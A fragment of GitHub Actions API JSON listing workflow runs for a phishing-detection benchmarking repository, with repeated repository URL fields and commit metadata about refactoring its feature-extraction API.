","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287528129,"node_id":"MDExOldvcmtmbG93UnVuMjg3NTI4MTI5","head_branch":"master","head_sha":"eb359b6def2204f9b376cded6489cef66ba2e256","run_number":1072,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1285652187,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1NjUyMTg3","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287528129","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287528129","pull_requests":[],"created_at":"2020-10-04T06:53:56Z","updated_at":"2020-10-04T07:30:23Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287528129/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287528129/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285652187","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287528129/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287528129/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287528129/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"eb359b6def2204f9b376cded6489cef66ba2e256","tree_id":"8d827b8c482f82d2141c2523a8b7613fe1ae7d59","message":"Updated CHANGELOG","timestamp":"2020-10-04T06:53:48Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287526879,"node_id":"MDExOldvcmtmbG93UnVuMjg3NTI2ODc5","head_branch":"master","head_sha":"aa4b08f7ce14b0b0399418beef43b81c9cb6e981","run_number":1071,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1285649518,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1NjQ5NTE4","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287526879","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287526879","pull_requests":[],"created_at":"2020-10-04T06:51:57Z","updated_at":"2020-10-04T07:05:46Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287526879/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287526879/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285649518","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287526879/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287526879/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287526879/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"aa4b08f7ce14b0b0399418beef43b81c9cb6e981","tree_id":"58681a06ba4658b65d57a9d9fb2584c034374691","message":"Standardized API for email and URL feature extraction (#252)\n\n* Fixed documentation\r\n\r\n* Renamed extract_features_list_email to extract_features_list\r\n\r\n* extract_features_from_list_urls to extract_features_list\r\n\r\n* Aligned extract_email_train_features and extract_url_train_features\r\n\r\n* Converted extract_email_test_features\r\n\r\n* Unified extract_train_features\r\n\r\n* Unified extract_test_features\r\n\r\n* Cleanup code\r\n\r\n* Combine output folder\r\n\r\n* Cleanup\r\n\r\n* Unified extract_features\r\n\r\n* Exposed extract_features_from_single\r\n\r\n* Documentation","timestamp":"2020-10-04T06:51:54Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287515889,"node_id":"MDExOldvcmtmbG93UnVuMjg3NTE1ODg5","head_branch":"API_Flatten","head_sha":"de31734a58e996c2425dc15130a929e0a7d14d46","run_number":281,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1732356,"check_suite_id":1285627062,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1NjI3MDYy","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515889","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287515889","pull_requests":[],"created_at":"2020-10-04T06:36:24Z","updated_at":"2020-10-04T06:39:08Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515889/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515889/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285627062","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515889/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515889/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515889/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/1732356","head_commit":{"id":"de31734a58e996c2425dc15130a929e0a7d14d46","tree_id":"58681a06ba4658b65d57a9d9fb2584c034374691","message":"Documentation","timestamp":"2020-10-04T06:36:15Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. 